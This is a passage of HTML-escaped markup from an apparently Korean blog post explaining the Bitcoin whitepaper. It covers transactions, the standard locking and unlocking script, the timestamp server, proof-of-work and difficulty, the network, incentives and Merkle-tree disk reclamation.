없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;주소(address)&lt;/span&gt;: 공개키를 sha256으로 변환한 뒤, RIPEMD160으로 변환한 값이 주소이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Satoshi Nakamoto는 전자 코인을 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;&quot;디지털 서명의 체인&quot;&lt;/span&gt;으로 정의했다. 각각의 코인의 소유자는 이전 거래와, 전달할 거래자의 public key를 hash하고 디지털 서명 하고 코인의 끝에 추가함으로써 다음 소유자에게 전달 할 수 있다. 이해하기 쉽게 아래의 그림으로 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99184C3A5BF5097916&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99184C3A5BF5097916&quot; width=&quot;1000&quot; height=&quot;765&quot; filename=&quot;이미지 012.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이 거래의 문제점은 수취인(payee)의 입장에서 받은 코인이 이중 사용된(double-spend) 코인인지 알 수 없다는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이중 사용(double-spending) 문제를 해결하기 위해서, 신뢰를 갖는 중앙 관리를 만들면 된다. 모든 코인은 신뢰를 갖는 중앙 관리로 부터 발행되고, 거래된 코인은 신뢰된 중앙 관리로 들어가 재 발급 되어야 한다. 신뢰된 중앙 관리에 의해 발급된 코인은 즉, 이중 사용(double-spending)되지 않았다는것을 보장해준다. 다시보면, 이것은 신뢰가 중심이되는 거래이다. 하지만 Satoshi Nakamoto가 원하는 거래 양상은 이와 같은 제 3의 신뢰된 기관이 개입한 상황을 추구하는것이 아니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;거래에 있어서 Satoshi Nakamoto가 추구하는 것은 수취인(payee)가 코인의 이전 소유자가, 이중사용(double-spending)을 했는지 안했는지에 관심이 있고, 이후에 이중사용(double-spending)을 했는지 안했는지는 관심이 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그렇다면 제 3의 신뢰된 기관이 어떻게 이중 사용(double-spending)을 방지할 수 있는지 보면, 모든 코인과 거래를 제 3의 신뢰된 기관이 알고 있기 때문이다. 만일 제 3의 신뢰된 기관 없이 이중사용(double-spending)을 막기 위해서는 어떻게 해야할까?&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Satoshi Nakamoto가 제안한 방법은, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;모든 거래들이 거래 될 때 공개적으로 모든 사용자(Node)들에게 알리고, 대다수의 사용자(Node)들이 이중사용(double-spending)되지 않았음을 판단하고 확인하는 방법이다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소유자 1이 소유자 2에게 송금하기 위해서 소유자 1은 소유자 0으로부터 받은 돈을 전달한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소유자 0이 소유자 1에게 돈을 전달하는 거래가 발생하기 위해 소유자 1은 소유자 0에게 자신의 주소를 전달한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소유자 0은 소유자 1에게 돈은 전달하고, 소유자 1을 나타내기 위해 소유자 1의 public key를 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소유자 1은 소유자 0이 소유자 1에게 돈을 보냈는데 소유자 1이 자기 자신임을 증명하기 위해서 소유자 1의 private key를 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소유자 0이 소유자 1에게 거래를 통해 돈을 보냈을 때 돈이 잠겨있다고 생각하면된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소유자 1이 소유자 0으로부터 받은 돈을 통해 거래를 하고 싶으면 잠겨있는 돈을 해제하여 거래를 진행해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아래의 그림으로 쉽게 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 542px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997421465BF60A7B1E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997421465BF60A7B1E&quot; width=&quot;542&quot; height=&quot;238&quot; filename=&quot;이미지 015.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소유자 1이 소유자 0으로 받은 거래를 소유자 2에게 보내기 위해서, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;거래 해제를 진행하고 잠금을 다시 진행&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;헤제와 잠금의 단계는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;해제&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 216, 216);&quot;&gt;&amp;lt;Sig&amp;gt; &amp;lt;pubKey&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;잠금&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(255, 216, 216);&quot;&gt;OP_DUP&amp;nbsp; &amp;nbsp; OP_HASH160&amp;nbsp; &amp;nbsp; &amp;lt;PubkeyHash&amp;gt;&amp;nbsp; &amp;nbsp; OP_EQUALVERIFY&amp;nbsp; &amp;nbsp; OP_CHECKSIG&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;비트코인의 거래에서 해제와 잠금은 stack 기반으로 작동한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;해제의 과정&lt;/span&gt;은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AE04385BF6152330&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AE04385BF6152330&quot; width=&quot;1000&quot; height=&quot;253&quot; filename=&quot;이미지 016.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;잠금의 과정&lt;/span&gt;은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999F4C4B5BF62D7545&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999F4C4B5BF62D7545&quot; width=&quot;1000&quot; height=&quot;591&quot; filename=&quot;이미지 018.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;3. Timestamp Sever&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Timestamp Sever는 satoshi Nakamoto가 제안한 이중거래(double-spending)를&amp;nbsp;막을 수 있는 방법이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Timestamp는 실제 시간(몇시 몇분의 기록)이 아니라 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;어떠한 작업이 먼저 일어났는지, 시간적 순서&lt;/span&gt;를 나타낸다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;거래들이 모인 블록을 해시하고 해시 값을 공개적으로 알린다. 각각의 Timestamp Server는 이전의 Timestamp와 현재 블록의 해시값을으로 Timestamp를 만든다. 블록이 추가될 때마다 chain을 형성하므로 TimeStamp에 의해 보안이 강화된다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 822px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9984A2495BF644D618&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9984A2495BF644D618&quot; width=&quot;822&quot; height=&quot;323&quot; filename=&quot;이미지 020.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;transaction에서 이야기한 transaction들을 계속 발생하고 약 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;10분마다 transaction들을 모아 하나의 블록&lt;/span&gt;을 만든다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 블록 0이 이전에 존재했고, 블록 1을 만들어 TimeStamp를 하려고 하면 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Hash(블록 0의 hash || 블록 1의 hash1)&lt;/span&gt;를 한다. chain 형태로 되어있기 때문에, 블록이 더해질수록 신뢰성이 높아진다고 말할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;4. Proof-of-Work(PoW)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각각의 블록에는 블록 헤더가 존재하고 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;블록 헤더의 6개의 정보를 이용해 블록 해시&lt;/span&gt;가 만들어진다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;블록 헤더는 아래의 6개로 구성된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1.version: 소프트웨어/프로토콜 version&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2. previous block hash : 현재 블록 체인 바로 앞에 위치한 블록의 블록 해시&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3. merkle hash : markle tree의 root 값&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4. time: 블록이 생성된 시간&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5. bits: difficulty 조정 값&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6. nonce: 0으로 시작하여 조건에 맞는 값을 찾을때 까지 1씩 증가시킨다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;block chain에서 블록을 생성할 권리가 공평하게 분배되지 않고 일부 혹은 집단에 의해서 독과점 되어버리면 timestamp의 순서를 마음대로 바꿀 수 있다. satoshi Nakamoto가 제안한 방법은&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; PoW를 통해 운에 따라 블록을 생성할 권리를 갖는 방법&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;PoW는 블록의 해시 값이 요구되는 연속된 0의 값을 찾기 위해 nonce 값을 증가시키며 찾는다. CPU의 노력을 통해 만족시키는 값을 찾은 경우 블록은 이전 블록에 chain 형식으로 연결된다. 블록을 수정하고 싶다면 PoW를 다시 진행해야하고, chain으로 연결되어있기 때문에 수정된 블록부터 이후 블록 모두에 대하여 Pow를 진행해야한다. 그림으로 나타내면 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E3343A5BF64B4530&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E3343A5BF64B4530&quot; width=&quot;1000&quot; height=&quot;249&quot; filename=&quot;이미지 021.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;satoshi Nakamoto는 공평한 블록 생성 권리를 정하기 위해 확률적 요소를 적용했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;연속된 0 이 나올 때 까지 nonce를 증가시킨다.&quot;라고 이야기 했는데 일반적으로 연속된 0의 비트가 70개 나와야한다고 가정해보자. 비트코인은 sha256 해시 함수를 사용하기 때문에 항상 outpout은 256 bit이다. 이 중이에서 연속된 70개의 bit가 0으로 나올 확률을 1/2^70이다. 즉, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;node(사용자)가 블록 생성권리를 얻기 위해서 2^70정도 계산을 하면 한번 정도 권한&lt;/span&gt;을 얻을 수 있다. 만일 어떤 node가 Pow 를 만족하는 값을 찾았다면, node는 블록 생성 권리를 얻었고, 블록에 계산된 해시값을 기록한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;satoshi Nakamoto는 PoW를 다수결에 의해 결정되는 시스템에서도 적용 가능하다고 생각한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다수결에 의해 결정되는 시스템은 내재&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;적으로 one-person-one-vote 기반이다. 만일 one-IP-one-Vote는 다중 IP를 가질 수 있는 사람에 의해 시스템이 무너질 수 있지만, onc-CPU-one-vote는 다중 CPU를 통한 투표가 불가능하다. 하지만 요즘 hardware의 성능이 급격하게 좋아지고 각각의 node(사용자)가 증가하므로 difficulty라는 난이도를 추가했따.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;난이도(difficulty)는 단순하게 PoW를 결정하는 난이도라고 생각하면 된다. &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;난이도(difficulty)에는 연속된 0의 개수가 자체적으로 조절&lt;/span&gt;된다. 비트코인은 10분마다 1개의 블록이 생성되도록 2주마다 결정된다. 2주는 약 20,160분이므로 보통 2016개의 block이 2주마다 생성된다고 예상할 수 있다. 시스템이 2주마다 생성된 블록의 개수를 세어&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; 2016보다 많게 블록이 생성되면 난이도(difficluty)를 증가&lt;/span&gt;시키고, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;2016보다 적게 생성되면 난이도(difficulty)를 낮추&lt;/span&gt;어 블록 생성 개수를 조절한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;5. Network&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;거래들이 발생할 때 어떻게 블록들이 생성되는지에 대한 설명이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;네트워크가 돌아가는 과정은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1) 새로운 거래는 모든 node(사용자)에게 브로드캐스트 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2) 각각의 node(사용자)들은 새로운 거래를 블록에 수집한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3) 각각의 node(사용자)들은 그것의 블록을 위해 PoW를 진행한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4) 한 node(사용자)가 PoW를 찾았을 때, 그 node(사용자)는 그 블록을 모든 node(사용자)에게 브로드캐스트한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5) node(사용자)들은 블록의 모든 거래가 유효하고 이전에 사용되지 않았을 때, 블록을 받아들인다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6) node(사용자)들은 블록의 승인을 이전 해시의 블록을 받아들인 해쉬로서 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다음 블록을 생성함으로써 나타낸다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;node(사용자)들은 항상 chain의 길이가 제일 긴것을 옳은 것으로 생각하고 길게 늘이려고 노력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 두 node(사용자)가 동시에 다음 블록에 대해 브로드캐스트를 진행하면 각각의 node(사용자)들은 자신이 처음 받은 블록을 먼저 수행하고 다른 하나는 다른 branch가 더 길어질 경우를 대비해 저장해둔다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;새로운 거래에 대한 브로드캐스트 또한 모든 node(사용자)에게 전해질 필요는 없고, 대부분의 node(사용자)에게 전달되면 된다. 왜냐하면 대부분의 node(사용자에 의해)&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;곧, 거래는 블록에 들어가게 된다. 또한 추후 다음 블록을 받았을때 블록 누락을 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;6. Incentive&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;블록 생성의 대가(coin, fee)&lt;/span&gt;에 대한 설명이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각각의 node들은 블록을 생성할 권리를 위해 Pow를 하고, 컴퓨터의 CPU와 전력을 소모한다. 만일 이러한 소비에 대해 incentive가 없다면 이러한 시스템은 오래 유지 될 수 없을 것이다. 따라서 satoshi Nakamoto는 블&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;록을 생성한 node(생성자)에게 코인을 주는 형식으로 incentive를 지급&lt;/span&gt;할 것을 제안했다. 블록을 생성하면 시스템이 블록을 생성한 node(생성자)에게 코인을 지급한다. 코인 지급은 블록 생성자의 public key를 이용해 주소를 얻어내어 주소로 코인을 지급한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;인센트비는 또한 거래 수수료가 될 수 있다. 만일 거래의 out 비용이 in 비용 보다 작으면 그 차익만큼 거래 수수료가 되는 것이다. 각 코인은 미리 정해진 개수가 있기 때문에 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;코인 어느 정도 유통되면 incentive는 거래수수료가 되고, 인플레이션으로부터 자유로워진&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;다&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 내가 block을 생성하기 위해 PoW 작업을 진행했고, 그로 인해 CPU power와 전력을 소모했는데, 아무런 incentive도 받을 수 없다면 더 이상 그러한 거래 시스템을 사용하지 않을것이다. 위에서 말했듯이 비트코인은 코인이 미리 정해져 있는데 블록 생성으로 더 이상 코인을 받을수 없다면 손해보는 장사를 하지 않기 위해 PoW 작업을 진행하지 않을 것이고 그 시스템을 사용하는 node(사용자)들이 감소하여 비트코인의 인플레이션이 발생할 것이다. 하지만, 거래 수수료라는 개념을 도입하여, 인플레이션 문제를 해결하고 블록 생성의 인센티브 문제를 해결해 이와 같은 시스템이 충분히 잘 작동하도록 제안하였다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(228, 247, 186);&quot;&gt;7. Reclaiming Disk Space&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;코인에 대한 가장 최근 거래가 충분한 블록들 아래에 묻혀지면, 이전에 발생한 거래들은 디스크 공간을 아까기 위해서 버릴 수 있다. 블록 해시를 망가트리지 않고 이러한 작업을 하기 위해서, 거래들은&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; Merkle 트리&lt;/span&gt;로 해시된다. 또한 Merkle 트리의 root만 블록 해시에 포함된다. 이와 같은 구조를 통해서 Merkle &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;트리의 가지치기가 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9983E6425BF65E2733&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9983E6425BF65E2733&quot; width=&quot;1000&quot; height=&quot;581&quot; filename=&quot;이미지 022.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br 